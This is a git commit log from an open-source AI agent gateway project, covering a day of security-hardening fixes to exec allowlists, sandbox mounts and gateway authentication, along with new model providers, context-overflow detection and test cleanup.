Peter Steinberger
c6c1e3e7cf docs(changelog): correct exec approvals reporter credit 2026-02-24 03:13:48 +00:00
Peter Steinberger
ffd63b7a2c fix(security): trust resolved skill-bin paths in allowlist auto-allow 2026-02-24 03:12:43 +00:00
Peter Steinberger
204d9fb404 refactor(security): dedupe shell env probe and add path regression test 2026-02-24 03:11:33 +00:00
Peter Steinberger
64aab80201 test(exec): add regressions for safe-bin metadata and chain semantics 2026-02-24 03:10:19 +00:00
Peter Steinberger
a67689a7e3 fix: harden allow-always shell multiplexer wrapper handling 2026-02-24 03:06:51 +00:00
Peter Steinberger
4a3f8438e5 fix(gateway): bind node exec approvals to nodeId 2026-02-24 03:05:58 +00:00
Peter Steinberger
9530c01085 refactor(exec): split safe-bin policy modules and dedupe allowlist flow 2026-02-24 03:05:03 +00:00
Peter Steinberger
c5ac90ab92 docs(changelog): add shell-env fallback hardening note 2026-02-24 03:04:49 +00:00
Peter Steinberger
60f1d1959a test: stabilize invoke-system-run env-wrapper assertion on Windows 2026-02-24 03:02:38 +00:00
Peter Steinberger
d0ef4c75c7 docs(changelog): credit safeBins advisory reporters 2026-02-24 02:59:17 +00:00
Peter Steinberger
ff10fe8b91 fix(security): require /etc/shells for shell env fallback 2026-02-24 02:58:24 +00:00
Shakker
71f4b93656 docs: refresh clawtributors list 2026-02-24 02:55:02 +00:00
Shakker
ef1ffacfb2 scripts: exclude unresolved clawtributors from README 2026-02-24 02:55:02 +00:00
Peter Steinberger
90383e00e9 fix(security): harden autoAllowSkills exec matching 2026-02-24 02:53:47 +00:00
Peter Steinberger
e578521ef4 fix(security): harden session export image data-url handling 2026-02-24 02:53:39 +00:00
Peter Steinberger
fefc414576 fix(security): harden structural session path fallback 2026-02-24 02:52:48 +00:00
Peter Steinberger
ff4e6ca0d9 fix(ios): gate agent deep links with local confirmation 2026-02-24 02:51:58 +00:00
Peter Steinberger
f8524ec77a fix(security): harden exported session html rendering 2026-02-24 02:40:29 +00:00
Peter Steinberger
f6afc8c5b6 docs(security): clarify host-side exec trust model defaults 2026-02-24 02:40:18 +00:00
Peter Steinberger
1d28da55a5 fix(voice-call): block Twilio webhook replay and stale transitions 2026-02-24 02:37:24 +00:00
Gustavo Madeira Santana
4663d68384 Tests: make model-catalog fixtures type-valid 2026-02-23 21:36:34 -05:00
Peter Steinberger
ce02ad9643 refactor(agents): centralize sandbox media and fs policy helpers 2026-02-24 02:32:01 +00:00
Gustavo Madeira Santana
207ec7cfae chore(provider): remove unused pruning functions 2026-02-23 21:31:12 -05:00
Peter Steinberger
4032390572 docs(security): clarify trusted user-triggered local actions 2026-02-24 02:29:09 +00:00
Peter Steinberger
3f923e8313 test: add env -S allowlist bypass regressions 2026-02-24 02:28:00 +00:00
Peter Steinberger
6634030be3 fix: enforce apply_patch workspaceOnly in sandbox mounts 2026-02-24 02:23:56 +00:00
Peter Steinberger
c070be1bc4 fix(sandbox): harden fs bridge path checks and bind mount policy 2026-02-24 02:21:43 +00:00
Peter Steinberger
dd9d9c1c60 fix(security): enforce workspaceOnly for sandbox image tool 2026-02-24 02:17:55 +00:00
Peter Steinberger
0026255def refactor(security): harden system.run wrapper enforcement 2026-02-24 02:17:41 +00:00
Gustavo Madeira Santana
5239b55c0a Config: expand Kilo catalog and persist selected Kilo models (#24921)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f5a7e1a385
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 21:17:37 -05:00
Peter Steinberger
6c441ea797 fix: support legacy and beta prerelease version formats 2026-02-24 02:05:37 +00:00
Peter Steinberger
08e2aa44e7 fix(commands): restrict commands.allowFrom to sender principals 2026-02-24 02:01:01 +00:00
Peter Steinberger
223d7dc23d feat(gateway)!: require explicit non-loopback control-ui origins 2026-02-24 01:57:11 +00:00
Peter Steinberger
edfefdff7d docs(changelog): mark ACP hardening as next npm release 2026-02-24 01:56:22 +00:00
Peter Steinberger
a1c4bf07c6 fix(security): harden exec wrapper allowlist execution parity 2026-02-24 01:52:17 +00:00
Peter Steinberger
5eb72ab769 fix(security): harden browser SSRF defaults and migrate legacy key 2026-02-24 01:52:01 +00:00
Peter Steinberger
8779b523dc test(sandbox): speed up agent-config coverage with pure resolvers 2026-02-24 01:46:12 +00:00
Peter Steinberger
467666adc7 test(sandbox): use focused modules in lightweight suites 2026-02-24 01:46:12 +00:00
Peter Steinberger
f0f886ecc4 docs(security): clarify gateway-node trust boundary in docs 2026-02-24 01:35:44 +00:00
Peter Steinberger
1f81677093 docs(changelog): note dangerous name-matching audit unification 2026-02-24 01:33:08 +00:00
Peter Steinberger
161d9841dc refactor(security): unify dangerous name matching handling 2026-02-24 01:33:08 +00:00
Peter Steinberger
6a7c303dcc test(msteams): fix allowlist name-match expectations 2026-02-24 01:26:53 +00:00
Peter Steinberger
2e36bdda85 docs(changelog): credit ACP security reporter 2026-02-24 01:19:03 +00:00
Peter Steinberger
22467902ea fix(doctor): inherit dangerous name-matching flag in mutable allowlist scan 2026-02-24 01:18:38 +00:00
Peter Steinberger
e5931554bf test: tighten slow test timeouts and cleanup 2026-02-24 01:16:53 +00:00
Peter Steinberger
6c43d0a08e test(gateway): move sessions_send error paths to unit tests 2026-02-24 01:16:53 +00:00
Peter Steinberger
63dcd28ae0 fix(acp): harden permission tool-name validation 2026-02-24 01:11:34 +00:00
Peter Steinberger
f97c0922e1 fix(security): harden account-key handling against prototype pollution 2026-02-24 01:09:31 +00:00
Peter Steinberger
12cc754332 fix(acp): harden permission auto-approval policy 2026-02-24 01:03:30 +00:00
Peter Steinberger
ddf93d9845 docs(security): add vps trust-boundary guidance 2026-02-24 01:02:11 +00:00
Peter Steinberger
cfa44ea6b4 fix(security): make allowFrom id-only by default with dangerous name opt-in (#24907)
* fix(channels): default allowFrom to id-only; add dangerous name opt-in

* docs(security): align channel allowFrom docs with id-only default
2026-02-24 01:01:51 +00:00
Peter Steinberger
41b0568b35 docs(security): clarify shared-agent trust boundaries 2026-02-24 01:00:05 +00:00
Peter Steinberger
0cc327546b test(gateway): speed up slow e2e test setup 2026-02-24 00:59:52 +00:00
Peter Steinberger
13478cc79a refactor(config): harden catchall hint mapping and array fallback 2026-02-24 00:59:44 +00:00
Vincent Koc
30c622554f Providers: disable developer role for DashScope-compatible endpoints (#24675)
* Agents: disable developer role for DashScope-compatible endpoints

* Agents: test DashScope developer-role compatibility

* Gateway: test allowlisted sessions.patch model selection

* Changelog: add DashScope role-compat fix note
2026-02-23 19:51:16 -05:00
Peter Steinberger
83eae14ed6 docs: add security-advisory triage reminder to agents guide 2026-02-24 00:45:41 +00:00
Peter Steinberger
400220275c docs: clarify multi-instance recommendations for user isolation 2026-02-24 00:40:08 +00:00
Peter Steinberger
a430e1722b test(channels): reduce media test runtime and polling 2026-02-24 00:31:58 +00:00
Peter Steinberger
663f784e4e test(core): trim redundant setup and tighten waits 2026-02-24 00:31:58 +00:00
Peter Steinberger
f58c1ef34e test(gateway): speed up contract and polling suites 2026-02-24 00:31:58 +00:00
Peter Steinberger
7d55277d72 docs: clarify operator trust boundary for shared gateways 2026-02-24 00:25:01 +00:00
Peter Steinberger
f0c3c8b6a3 fix(config): redact dynamic catchall secret keys 2026-02-24 00:21:29 +00:00
Peter Steinberger
8dfa33d373 test(sandbox): add root bind mount regression 2026-02-24 00:17:21 +00:00
Peter Steinberger
d68380bb7f docs(security): clarify exposed-secret report scope 2026-02-24 00:17:21 +00:00
Peter Steinberger
25f6fcc63a docs(changelog): note safeBins exec hardening 2026-02-23 23:58:58 +00:00
Peter Steinberger
3b8e33037a fix(security): harden safeBins long-option validation 2026-02-23 23:58:58 +00:00
Peter Steinberger
7b4d2cb5cb docs(security): clarify trusted-config dos scope 2026-02-23 23:57:26 +00:00
Peter Steinberger
a2dfe9879f fix(security): harden regex compilation for filters and redaction 2026-02-23 23:54:50 +00:00
Peter Steinberger
e6484cb65f refactor: harden kilocode auth ordering and dedupe provider wiring 2026-02-23 23:37:13 +00:00
Peter Steinberger
f52a0228ca test: optimize auth and audit test runtime 2026-02-23 23:31:52 +00:00
John Fawcett
13f32e2f7d feat: Add Kilo Gateway provider (#20212)
* feat: Add Kilo Gateway provider

Add support for Kilo Gateway as a model provider, similar to OpenRouter.
Kilo Gateway provides a unified API that routes requests to many models
behind a single endpoint and API key.

Changes:
- Add kilocode provider option to auth-choice and onboarding flows
- Add KILOCODE_API_KEY environment variable support
- Add kilocode/ model prefix handling in model-auth and extra-params
- Add provider documentation in docs/providers/kilocode.md
- Update model-providers.md with Kilo Gateway section
- Add design doc for the integration

* kilocode: add provider tests and normalize onboard auth-choice registration

* kilocode: register in resolveImplicitProviders so models appear in provider filter

* kilocode: update base URL from /api/openrouter/ to /api/gateway/

* docs: fix formatting in kilocode docs

* fix: address PR review — remove kilocode from cacheRetention, fix stale model refs and CLI name in docs, fix TS2742

* docs: fix stale refs in design doc — Moltbot to OpenClaw, MoltbotConfig to OpenClawConfig, remove extra-params section, fix doc path

* fix: use resolveAgentModelPrimaryValue for AgentModelConfig union type

---------

Co-authored-by: Mark IJbema <mark@kilocode.ai>
2026-02-23 23:29:27 +00:00
Peter Steinberger
ddb7ec99a8 test: speed up cron test polling and waits 2026-02-23 22:42:23 +00:00
Peter Steinberger
0cc46d774c test: consolidate auth-choice tests for faster coverage 2026-02-23 22:42:23 +00:00
Gustavo Madeira Santana
eff3c5c707 Session/Cron maintenance hardening and cleanup UX (#24753)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7533b85156
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-02-23 22:39:48 +00:00
Peter Steinberger
29b19455e3 test(commands): collapse provider and endpoint matrices 2026-02-23 22:16:45 +00:00
Peter Steinberger
b922ecb8c1 test(security): reduce duplicate audit assertions 2026-02-23 22:16:39 +00:00
Peter Steinberger
cd5f3fe0c1 test(config): consolidate env/include scenario coverage 2026-02-23 22:16:30 +00:00
Peter Steinberger
c248c515a3 test: collapse sandbox agent config duplicate cases 2026-02-23 22:01:32 +00:00
Peter Steinberger
287586206c test: consolidate sandbox docker merge scenarios 2026-02-23 22:01:22 +00:00
Peter Steinberger
8b192beaaf test: combine web reconnect progression assertions 2026-02-23 21:57:30 +00:00
Peter Steinberger
ecd278b67b test: merge redundant telegram media path scenarios 2026-02-23 21:57:23 +00:00
Peter Steinberger
ca761d6225 test: consolidate gateway auth test scenarios 2026-02-23 21:57:17 +00:00
Peter Steinberger
b9f01e8d3f test: consolidate directive behavior suites for faster runs 2026-02-23 21:48:12 +00:00
Peter Steinberger
b8fc8e7e6d test: optimize directive behavior test scenarios 2026-02-23 21:35:42 +00:00
Peter Steinberger
0183610db3 refactor: de-duplicate channel runtime and payload helpers 2026-02-23 21:25:28 +00:00
Peter Steinberger
0ae7f470a2 test: normalize skill prompt path assertions on windows 2026-02-23 21:17:29 +00:00
Peter Steinberger
31ca7fb277 test: consolidate directive behavior test scenarios 2026-02-23 21:13:11 +00:00
Peter Steinberger
426f803b8a test: speed up sessions_spawn tool harness 2026-02-23 21:13:05 +00:00
Peter Steinberger
7e5f771d27 test: speed up skills test suites 2026-02-23 21:02:13 +00:00
Peter Steinberger
75423a00d6 refactor: deduplicate shared helpers and test setup 2026-02-23 20:40:44 +00:00
Peter Steinberger
1f5e6444ee test: remove redundant pi embedded runner cases 2026-02-23 20:15:56 +00:00
Peter Steinberger
3b5a276a48 test: speed up supervisor test timing 2026-02-23 20:15:56 +00:00
Peter Steinberger
5a475259bb fix(telegram): suppress reasoning-only leaks when reasoning is off
Co-authored-by: avirweb <avirweb@users.noreply.github.com>
2026-02-23 20:06:16 +00:00
Peter Steinberger
63e4dfaa9c test: consolidate pi-tools gating assertions 2026-02-23 20:00:11 +00:00
Peter Steinberger
cba8037d90 test: prune redundant trigger handling integration coverage 2026-02-23 20:00:11 +00:00
Peter Steinberger
32e6ccb7b6 test(cron): cover announce failure when best-effort is off 2026-02-23 19:48:37 +00:00
Peter Steinberger
9af3ec92a5 fix(gateway): add HSTS header hardening and docs 2026-02-23 19:47:29 +00:00
Peter Steinberger
c88915b721 test: consolidate trigger handling suites 2026-02-23 19:41:47 +00:00
Peter Steinberger
87603b5c45 fix: sync built-in channel enablement across config paths 2026-02-23 19:40:42 +00:00
Peter Steinberger
69b17a37e8 docs(reference): add cache trace diagnostics knobs to prompt-caching guide 2026-02-23 19:39:35 +00:00
Peter Steinberger
7a40d99b1d refactor(cron): extract delivery dispatch + harden reset notices 2026-02-23 19:25:22 +00:00
Peter Steinberger
fe62711342 test(gate): stabilize env- and timing-sensitive process/web-search checks 2026-02-23 19:19:58 +00:00
Peter Steinberger
46dee26600 docs(reference): add prompt-caching guide and knobs
Co-authored-by: Axel Svensson <svenssonaxel@users.noreply.github.com>
2026-02-23 19:19:45 +00:00
Peter Steinberger
31e4c21b67 fix(auto-reply): move volatile inbound flags out of system metadata
Co-authored-by: aidiffuser <aidiffuser@users.noreply.github.com>
2026-02-23 19:19:45 +00:00
Peter Steinberger
cf38339f25 fix(tools): improve session_status cache-aware usage reporting
Co-authored-by: Lucian Feraru <1ucian@users.noreply.github.com>
2026-02-23 19:19:45 +00:00
Peter Steinberger
40db3fef49 fix(agents): cache bootstrap snapshots per session key
Co-authored-by: Isis Anisoptera <github@lotuswind.net>
2026-02-23 19:19:45 +00:00
Nimrod Gutman
8b3eee71ec fix: tier local vitest worker defaults by host memory (#24719) (thanks @ngutman) 2026-02-23 21:19:21 +02:00
Nimrod Gutman
420c18364e fix(test): tier local vitest worker defaults by host memory 2026-02-23 21:19:21 +02:00
Peter Steinberger
2931e215ca docs: add GitHub comment formatting/linking guardrails 2026-02-23 19:17:33 +00:00
Peter Steinberger
47723b646d refactor(test): de-duplicate msteams and bash test helpers 2026-02-23 19:12:27 +00:00
Ruslan Kharitonov
8d69251475 fix(doctor): use gateway health status for memory search key check (#22327)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 2f02ec9403
Co-authored-by: therk <901920+therk@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 14:07:16 -05:00
Peter Steinberger
bf373eeb43 refactor: harden reset notice + cron delivery target flow 2026-02-23 19:01:02 +00:00
Peter Steinberger
d266d12be1 refactor(exec): simplify env-prefixed wrapper modifier check 2026-02-23 18:56:14 +00:00
Peter Steinberger
42373b6742 fix(skills): support multiline frontmatter fallback without PyYAML 2026-02-23 18:56:14 +00:00
Brian Mendonca
f18f087c3c fix(skills): make quick_validate work without PyYAML
(cherry picked from commit 485a55b4ec)
2026-02-23 18:56:14 +00:00
Brian Mendonca
bd8b9af9a7 fix(exec): bind env-prefixed shell wrappers to full approval text
(cherry picked from commit 1edf957988)
2026-02-23 18:56:14 +00:00
oneaix
216d99e585 fix(browser): derive relay auth token from gateway token in Chrome extension
The extension relay server authenticates using an HMAC-SHA256 derived
token (`openclaw-extension-relay-v1:<port>`), but the Chrome extension
was sending the raw gateway token. This caused both the WebSocket
connection and the options page validation to fail with 401 Unauthorized.

Additionally, the options page validation request triggered a CORS
preflight (due to the custom `x-openclaw-relay-token` header) which the
relay rejects because OPTIONS requests lack auth headers. The options
page now delegates the check to the background service worker which has
host_permissions and bypasses CORS preflight.

Fixes #23842

Co-authored-by: Cursor <cursoragent@cursor.com>
(cherry picked from commit bbc654b9f0)
2026-02-23 18:56:14 +00:00
Mustafa Kemal
bb8f538cd4 Browser relay: accept raw gateway token in extension auth
(cherry picked from commit e682a768d0)
2026-02-23 18:56:14 +00:00
justinhuangcode
d00d814ad1 fix(gateway): include platform and reason in node command rejection error
The generic "node command not allowed" error gives no indication of why the
command was rejected, making it hard to diagnose issues (e.g. running
`nodes notify` against a Linux node that does not declare `system.notify`).

Include the rejection reason and node platform in the error message so
callers can tell whether the command is not supported by the node, not in
the platform allowlist, or the node did not advertise its capabilities.

Fixes #24616

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit e3d74619bc)
2026-02-23 18:56:14 +00:00
Gustavo Madeira Santana
5de1f540e7 CLI: fix gateway restart health ownership for child listener pids (#24696)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: d6d4b43f7e
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 13:53:10 -05:00
Peter Steinberger
78e7f41d28 docs: detail per-agent prompt caching configuration 2026-02-23 18:46:40 +00:00
Peter Steinberger
d637fd4801 fix(config): tighten bedrock cache-retention type narrowing 2026-02-23 18:46:40 +00:00
Peter Steinberger
160bd61fff feat(agents): add per-agent stream params overrides for cache tuning (#17470) (thanks @rrenamed) 2026-02-23 18:46:40 +00:00
Peter Steinberger
be6f0b8c84 fix(providers): support Bedrock Anthropic cacheRetention defaults/pass-through (#22303) (thanks @snese) 2026-02-23 18:46:40 +00:00
Peter Steinberger
ca5c0bc02b fix(providers): disable Bedrock prompt caching for non-Anthropic models (#20866) (thanks @pierreeurope) 2026-02-23 18:46:40 +00:00
Peter Steinberger
e40ee3c2c7 docs(changelog): note /new and /reset auth-label removal (#24409) 2026-02-23 18:30:30 +00:00
Peter Steinberger
b9b77cea4e fix(reply): omit auth labels in /new and /reset 2026-02-23 18:30:30 +00:00
Peter Steinberger
4c21ef9ce9 docs(changelog): correct kimi issue references 2026-02-23 18:28:56 +00:00
Peter Steinberger
ff0c40d367 test(tools): fix kimi web_search mock typing 2026-02-23 18:27:37 +00:00
Peter Steinberger
7837d23103 feat(media): add moonshot video provider and wiring
Co-authored-by: xiaoyaner0201 <xiaoyaner0201@users.noreply.github.com>
2026-02-23 18:27:37 +00:00
Peter Steinberger
e02c470d5e feat(tools): add kimi web_search provider
Co-authored-by: adshine <adshine@users.noreply.github.com>
2026-02-23 18:27:37 +00:00
Peter Steinberger
f93ca93498 fix(agents): extend cache-ttl eligibility for moonshot and zai
Co-authored-by: lailoo <lailoo@users.noreply.github.com>
2026-02-23 18:27:36 +00:00
Peter Steinberger
2fa6aa6ea6 test(agents): add comprehensive kimi regressions 2026-02-23 18:27:36 +00:00
Doruk Ardahan
daaad03593 fix(infra): treat nested network request errors as non-fatal 2026-02-23 18:27:23 +00:00
Peter Steinberger
445c7a65e6 test: simplify session reset and rawbody coverage 2026-02-23 18:19:23 +00:00
Peter Steinberger
783a9134d6 test: prune redundant trigger-handling scenarios 2026-02-23 18:19:23 +00:00
chilu18
3cadc3eed1 fix(plugins): honor channels.<id>.enabled for bundled channels 2026-02-23 18:16:58 +00:00
Peter Steinberger
65d57eac12 docs(changelog): reorder 2026.2.23 entries by user impact 2026-02-23 18:02:21 +00:00
Peter Steinberger
97787d73c2 docs(changelog): align 2026.2.22 release heading with tags 2026-02-23 18:00:39 +00:00
Peter Steinberger
cc7a498ace refactor(tests): deduplicate repeated fixtures in msteams and bash tests 2026-02-23 17:59:56 +00:00
Peter Steinberger
b81bce703c test: streamline trigger and session coverage 2026-02-23 17:52:23 +00:00
Peter Steinberger
ddc67aa4ef test: collapse duplicate trigger command coverage 2026-02-23 17:37:13 +00:00
Vincent Koc
6a0fcf6518 Sessions: consolidate path hardening and fallback resilience (#24657)
* Changelog: credit session path fixes

* Sessions: harden path resolution for symlink and stale metadata

* Tests: cover fallback for invalid absolute sessionFile

* Tests: add symlink alias session path coverage

* Tests: guard symlink escape in sessionFile resolution
2026-02-23 12:36:01 -05:00
Matthew
ce1f12ff33 fix(slack): prevent Zod default groupPolicy from breaking multi-account config (#17579)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7d2da57b50
Co-authored-by: ZetiMente <76985631+ZetiMente@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 12:35:41 -05:00
Vincent Koc
f03ff39754 Providers: skip context1m beta for Anthropic OAuth tokens (#24620)
* Providers: skip context1m beta for Anthropic OAuth tokens

* Tests: cover OAuth context1m beta skip behavior

* Docs: note context1m OAuth incompatibility

* Agents: add context1m-aware context token resolver

* Agents: cover context1m context-token resolver

* Commands: apply context1m-aware context tokens in session store

* Commands: apply context1m-aware context tokens in status summary

* Status: resolve context tokens with context1m model params

* Status: test context1m status context display
2026-02-23 12:29:09 -05:00
Gustavo Madeira Santana
28377e1b7a UI: add version status pill before Health in web header (#24648)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f240589d33
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 12:27:17 -05:00
Peter Steinberger
fdd185cfaa test: merge inline trigger command and elevated coverage 2026-02-23 17:19:39 +00:00
Peter Steinberger
f7e45ce947 test: consolidate trigger-handling status and heartbeat scenarios 2026-02-23 17:19:39 +00:00
Peter Steinberger
a8a4fa5b88 test: de-duplicate attachment and bash tool tests 2026-02-23 17:19:34 +00:00
Vincent Koc
ae66a4b5d2 Changelog: add PR #22855 entry 2026-02-23 12:15:50 -05:00
Vincent Koc
5e1dd5fe69 Changelog: add PR #24593 entry 2026-02-23 12:15:50 -05:00
Vincent Koc
d601392904 Changelog: add PR #16176 entry 2026-02-23 12:15:50 -05:00
Shakker
271a149058 chore: add skills-lock.json to gitignore 2026-02-23 17:12:39 +00:00
Sally O'Malley
eb4ff6df81 Allow Claude model requests to route through Google Vertex AI (#23985)
* feat: add anthropic-vertex provider for Claude via GCP Vertex AI

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>

* docs: add anthropic-vertex provider guide

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>

* Agents: validate Anthropic Vertex project env

* Changelog: format update for Vertex entry

* Providers: rename Anthropic Vertex to Google Vertex Claude

* Providers: remove Vertex Claude provider path

* Models: normalize Vercel Claude shorthand refs

* Onboarding: default Vercel model to Claude shorthand

* Changelog: add @vincentkoc credit for #23985

* Onboarding: keep canonical Vercel default model ref

* Tests: expand Vercel model normalization coverage

---------

Signed-off-by: sallyom <somalley@redhat.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 11:04:31 -05:00
Clawborn
544809b6f6 Add Chinese context overflow patterns to isContextOverflowError (#22855)
Proxy providers returning Chinese error messages (e.g. Chinese LLM
gateways) use patterns like '上下文过长' or '上下文超出' that are not
matched by the existing English-only patterns in isContextOverflowError.
This prevents auto-compaction from triggering, leaving the session stuck.

Add the most common Chinese proxy patterns:
- 上下文过长 (context too long)
- 上下文超出 (context exceeded)
- 上下文长度超 (context length exceeds)
- 超出最大上下文 (exceeds maximum context)
- 请压缩上下文 (please compress context)

Chinese characters are unaffected by toLowerCase() so check the
original message directly.

Closes #22849
2026-02-23 10:54:24 -05:00
Vincent Koc
4f340b8812 fix(agents): avoid classifying reasoning-required errors as context overflow (#24593)
* Agents: exclude reasoning-required errors from overflow detection

* Tests: cover reasoning-required overflow classification guard

* Tests: format reasoning-required endpoint errors
2026-02-23 10:38:49 -05:00
Alice Losasso
652099cd5c fix: correctly identify Groq TPM limits as rate limits instead of context overflow (#16176)
Co-authored-by: Howard <dddabtc@users.noreply.github.com>
2026-02-23 10:32:53 -05:00
LI SHANXIN
c1b75ab8e2 fix(telegram): make reaction handling soft-fail and message-id resilient (#20236)
* Telegram: soft-fail reactions and fallback to inbound message id

* Telegram: soft-fail missing reaction message id

* Update CHANGELOG.md

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 10:25:14 -05:00
DukeDeSouth
ea47ab29bd fix: cancel compaction instead of truncating history when summarization fails (#10711)
* fix: cancel compaction instead of truncating history when summarization fails

When the compaction safeguard cannot generate a summary (no model, no API
key, or LLM error), it previously returned a "Summary unavailable" fallback
string and still truncated history. This caused irreversible data loss -
older messages were discarded even though no meaningful summary was produced.

Now returns `{ cancel: true }` in all three failure paths so the framework
aborts compaction entirely and preserves the full conversation history.

Fixes #10332

Co-authored-by: Cursor <cursoragent@cursor.com>

* fix: use deterministic timestamps in compaction safeguard tests

Replace Date.now() with fixed timestamp (0) in test data to prevent
nondeterministic behavior in snapshot-based or order-dependent tests.

Co-authored-by: Cursor <cursoragent@cursor.com>

* Changelog: note compaction cancellation safeguard fix

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 10:23:13 -05:00
Owen
01380f49f5 fix(compaction): pass model through runtime for safeguard summaries (#17864)
* fix(compaction): pass model through runtime to fix ctx.model undefined

Fixes #3479

Root cause: extensionRunner.initialize() is never called in compact.ts workflow,
leaving ctx.model undefined. Compaction safeguard checks ctx.model and returns
fallback summary immediately without attempting LLM summarization.

Changes:
1. Pass model through compaction safeguard runtime registry (same pattern as maxHistoryShare)
2. Fall back to runtime.model when ctx.model is undefined
3. Add once-per-session warning when both models are missing (prevents log spam)
4. Add regression test for runtime.model fallback

This follows the established runtime registry pattern rather than attempting to call
extensionRunner.initialize() (which is SDK-internal and not meant for direct access).

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* test: add comprehensive tests for compaction-safeguard model fallback

Add integration tests to verify the model fallback behavior:
- Test runtime.model fallback when ctx.model is undefined (compact.ts workflow)
- Test fallback summary when both ctx.model and runtime.model are undefined
- Test contextWindowTokens runtime storage/retrieval
- Test combined runtime values (maxHistoryShare + contextWindowTokens + model)

These tests verify the fix for issue #3479 where compaction fails due to
ctx.model being undefined in the compact.ts workflow. The runtime registry
pattern allows model to be passed when extensionRunner.initialize() is not
called, ensuring summarization works in all code paths.

Related: PR #17864

* fix(test): adapt compaction-safeguard tests to upstream type changes

- Add baseUrl to Model mock objects (now required by Model<Api>)
- Add explicit Model<Api> annotation to prevent provider string widening
- Cast modelRegistry mock through unknown (ModelRegistry expanded)
- Use non-null assertion for compactionHandler (TypeScript strict)
- Type compaction result explicitly

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* Compaction: add changelog credit for model fallback fix

* Update CHANGELOG.md

* Update CHANGELOG.md

---------

Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 10:14:21 -05:00
青雲
69692d0d3a fix: detect additional context overflow error patterns to prevent leak to user (#20539)
* fix: detect additional context overflow error patterns to prevent leak to user

Fixes #9951

The error 'input length and max_tokens exceed context limit: 170636 +
34048 > 200000' was not caught by isContextOverflowError() and leaked
to users via formatAssistantErrorText()'s invalidRequest fallback.

Add three new patterns to isContextOverflowError():
- 'exceed context limit' (direct match)
- 'exceeds the model\'s maximum context'
- max_tokens/input length + exceed + context (compound match)

These are now rewritten to the friendly context overflow message.

* Overflow: add regression tests and changelog credits

* Update CHANGELOG.md

* Update pi-embedded-helpers.isbillingerrormessage.test.ts

---------

Co-authored-by: echoVic <AkiraVic@outlook.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 10:03:56 -05:00
Vincent Koc
7fb69b7cd2 Gateway: stop repeated unauthorized WS request floods per connection (#24294)
* Gateway WS: add unauthorized flood guard primitive

* Gateway WS: close repeated unauthorized post-handshake request floods

* Gateway WS: test unauthorized flood guard behavior

* Changelog: note gateway WS unauthorized flood guard hardening

* Update CHANGELOG.md
2026-02-23 09:58:47 -05:00
Vincent Koc
8e821a061c fix(telegram): scope polling offsets per bot and await shared runner stop (#24549)
* Telegram: scope polling offsets and await shared runner stop

* Changelog: remove unrelated session-fix entries from PR

* Update CHANGELOG.md
2026-02-23 09:43:47 -05:00
AkosCz
3a3c2da916 [Feature]: Add Gemini (Google Search grounding) as web_search provider (#13075)
* feat: add Gemini (Google Search grounding) as web_search provider

Add Gemini as a fourth web search provider alongside Brave, Perplexity,
and Grok. Uses Gemini's built-in Google Search grounding tool to return
search results with citations.

- Add runGeminiSearch() with Google Search grounding via tools API
- Resolve Gemini's grounding redirect URLs to direct URLs via parallel
  HEAD requests (5s timeout, graceful fallback)
- Add Gemini config block (apiKey, model) with env var fallback
- Default model: gemini-2.5-flash (fast, cheap, grounding-capable)
- Strip API key from error messages for security
- Add config validation tests for Gemini provider
- Update docs/tools/web.md with Gemini provider documentation

Closes #13074

* feat: auto-detect search provider from available API keys

When no explicit provider is configured, resolveSearchProvider now
checks for available API keys in priority order (Brave → Gemini →
Perplexity → Grok) and selects the first provider with a valid key.

- Add auto-detection logic using existing resolve*ApiKey functions
- Export resolveSearchProvider via __testing_provider for tests
- Add 8 tests covering auto-detection, priority order, and explicit override
- Update docs/tools/web.md with auto-detection documentation

* fix: merge __testing exports, downgrade auto-detect log to debug

* fix: use defaultRuntime.log instead of .debug (not in RuntimeEnv type)

* fix: mark gemini apiKey as sensitive in zod schema

* fix: address Greptile review — add externalContent to Gemini payload, add Gemini/Grok entries to schema labels/help, remove dead schema-fields.ts

* fix(web-search): add JSON parse guard for Gemini API responses

Addresses Greptile review comment: add try/catch to handle non-JSON
responses from Gemini API gracefully, preventing runtime errors on
malformed responses.

Note: FIELD_HELP entries for gemini.apiKey and gemini.model were
already present in schema.help.ts, and gemini.apiKey was already
marked as sensitive in zod-schema.agent-runtime.ts (both fixed in
